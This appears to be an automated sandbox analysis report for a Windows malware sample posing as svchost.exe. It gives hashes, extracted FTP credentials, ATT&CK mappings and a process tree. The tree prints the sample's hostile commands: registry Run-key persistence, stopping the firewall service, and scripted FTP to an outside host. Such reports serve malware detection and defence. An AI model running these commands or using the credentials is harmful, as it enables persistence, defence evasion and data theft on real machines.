7eae7b99297fd2623a858632ed5a56eea7a44a4d129ca2e928a56d8ea4282856

Analysis

max time kernel
156s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
19/09/2022, 06:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

svchost.exe
Size

58KB
MD5

e2f489344ed5556ca506afc552c31c08
SHA1

af6328d7a3568be3cf88254a763d754225da7bd8
SHA256

7abd00697d5cd3d718120d63c3052200d859fe2073e87c5022eeb58b45db3b45
SHA512

d68c86c3015e505e86d7fc288e39e23f9f3d377a72394a744f694738e7eb838ce5b9a2d336dbc0b33b49b28368c1f4205bbfd336c302262765ca87c59a672a3f
SSDEEP

1536:k9wvQUreUbyzsB+2myhzT7hOm3WI9Wbwo9H:UA/yzn2myhzom3WyWbvH

Score

10^/10

persistence

Malware Config

Extracted

Credentials

Protocol: ftp
Host:
www20.subdomain.com
Port:
21
Username:
user1479359
Password:
PL0i3RS4

Signatures

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TINTSETP = "C:\\WINDOWS\\system32\\TINTSETP.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VVT = "C:\\WINDOWS\\system32\\VVT\\vchost.exe"	reg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\WINDOWS\SysWOW64\vvt.txt	cmd.exe
File opened for modification	\??\c:\windows\SysWOW64\vvt.txt	cmd.exe
File opened for modification	\??\c:\windows\SysWOW64\VVT\config.ini	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\361c5b10-6e88-44a3-b0cc-b3caa5eaf887.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20220919084633.pma	setup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\pand.txt	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1072	PING.EXE
4824	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3048	msedge.exe
3048	msedge.exe
3572	msedge.exe
3572	msedge.exe
5516	identity_helper.exe
5516	identity_helper.exe
6000	msedge.exe
6000	msedge.exe
6000	msedge.exe
6000	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3572	msedge.exe
3572	msedge.exe
3572	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 4776	5100	svchost.exe	86
PID 5100 wrote to memory of 4776	5100	svchost.exe	86
PID 5100 wrote to memory of 4776	5100	svchost.exe	86
PID 4776 wrote to memory of 3572	4776	cmd.exe	88
PID 4776 wrote to memory of 3572	4776	cmd.exe	88
PID 4776 wrote to memory of 3960	4776	cmd.exe	90
PID 4776 wrote to memory of 3960	4776	cmd.exe	90
PID 4776 wrote to memory of 3960	4776	cmd.exe	90
PID 3960 wrote to memory of 4856	3960	net.exe	91
PID 3960 wrote to memory of 4856	3960	net.exe	91
PID 3960 wrote to memory of 4856	3960	net.exe	91
PID 3572 wrote to memory of 3480	3572	msedge.exe	92
PID 3572 wrote to memory of 3480	3572	msedge.exe	92
PID 4776 wrote to memory of 3380	4776	cmd.exe	93
PID 4776 wrote to memory of 3380	4776	cmd.exe	93
PID 4776 wrote to memory of 3380	4776	cmd.exe	93
PID 4776 wrote to memory of 4820	4776	cmd.exe	95
PID 4776 wrote to memory of 4820	4776	cmd.exe	95
PID 4776 wrote to memory of 4820	4776	cmd.exe	95
PID 4776 wrote to memory of 4288	4776	cmd.exe	96
PID 4776 wrote to memory of 4288	4776	cmd.exe	96
PID 4776 wrote to memory of 4288	4776	cmd.exe	96
PID 4776 wrote to memory of 1072	4776	cmd.exe	97
PID 4776 wrote to memory of 1072	4776	cmd.exe	97
PID 4776 wrote to memory of 1072	4776	cmd.exe	97
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100
PID 3572 wrote to memory of 448	3572	msedge.exe	100

C:\Users\Admin\AppData\Local\Temp\svchost.exe
"C:\Users\Admin\AppData\Local\Temp\svchost.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\~EA55.bat "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://goo.gl/7ASDV
    3⤵
    - Adds Run key to start application
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xd8,0xfc,0x100,0xb0,0x104,0x7ffc532146f8,0x7ffc53214708,0x7ffc53214718
      4⤵
      PID:3480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
      4⤵
      PID:448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3248 /prefetch:8
      4⤵
      PID:4076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
      4⤵
      PID:3724
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      PID:376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5304 /prefetch:8
      4⤵
      PID:1440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
      4⤵
      PID:4720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5508 /prefetch:8
      4⤵
      PID:4036
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5628 /prefetch:1
      4⤵
      PID:3956
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6336 /prefetch:8
      4⤵
      PID:4824
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:5264
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff7fd4c5460,0x7ff7fd4c5470,0x7ff7fd4c5480
        5⤵
        
        PID:5380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6336 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
      4⤵
      PID:3356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1888 /prefetch:8
      4⤵
      PID:5884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1888 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4136 /prefetch:8
      4⤵
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2144,4894400353858534385,12834187640982551121,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5496 /prefetch:8
      4⤵
      PID:5992
- - C:\Windows\SysWOW64\net.exe
    net stop sharedaccess
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop sharedaccess
      4⤵
      PID:4856
- - C:\Windows\SysWOW64\ftp.exe
    ftp -s:ftp.txt
    3⤵
    PID:3380
- - C:\Windows\SysWOW64\ftp.exe
    ftp -s:ftp.txt
    3⤵
    PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type "c:\windows\system32\vvt.txt"
    3⤵
    PID:4288
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - Runs ping.exe
    PID:1072
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - Runs ping.exe
    PID:4824
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VVT /t REG_SZ /d "C:\WINDOWS\system32\VVT\vchost.exe" /f
    3⤵
    - Adds Run key to start application
    PID:5792
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v TINTSETP /t REG_SZ /d "C:\WINDOWS\system32\TINTSETP.exe" /f
    3⤵
    - Adds Run key to start application
    PID:5812

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1776

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\ftp.txt

Filesize
198B

MD5
d8aafc44cb8563dd32972cf6459e6534

SHA1
d2d76972111ec75d398c15bdb5d72e6169776dab

SHA256
40b819f15347e63f452ed9657861cf50a0ae779e4fe77795b197003beda02e18

SHA512
738bc87a6baeceb6759364c17322c3a1c738ab0ed1fe10146f36457bff2531ddda2c4efb8a099cc6487c198e3181da11d70ceba7f5209565bb22c50047853037

Download Submit
C:\Users\Admin\AppData\Local\Temp\ftp.txt

Filesize
109B

MD5
530f80894c33fceac451e2673c1d1bfa

SHA1
76cc9d984340ccfa4125a3eafe29067dfe17a0a2

SHA256
04772855de416a9d8953b4cb1dd26712072cbe1eca5d426f05ee674a299f1a3a

SHA512
bf1836c45492496104f8d41152aafc76878b017d4042de39230de61fce67d3dcc249fd53d631ad6acd552f60a379e750d37af31c4071f19dd4f622c61b9509a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\~EA55.bat

Filesize
10KB

MD5
6aa39e17f185fce676ff0d427c79e93f

SHA1
e78cb145f34533762c48acdfd55f0137da1e03b5

SHA256
1392b97057224eb68dc88f60377bcb8fc629dc732a1b7ea086e4710fb1da6ecf

SHA512
5f625ddc059edd975354d967983da95f6bd66f087412835462c0400cd6bd27c3d987a09629f69a1f9d524e7b0e970cff4aefcfa39391027ceca5578169a6f532

Download Submit
\??\c:\windows\SysWOW64\vvt.txt

Filesize
2KB

MD5
3e804861167749652f5ea454b41803f0

SHA1
c443f3496f0c82c6bbe637e6c13ecf47d16d92a9

SHA256
b78cd4fd3c37251b2f6f44a70516e60d0b7b31978ea1c4d5461eb2df54904d19

SHA512
084c96f244ae7f1e187517e923db720cb56b6d89793684eb54aaca61dab2ae2e26fc2ed739198e841d921165af9722972560d4b222a8d1b2ad657fb3eba4628e

Download Submit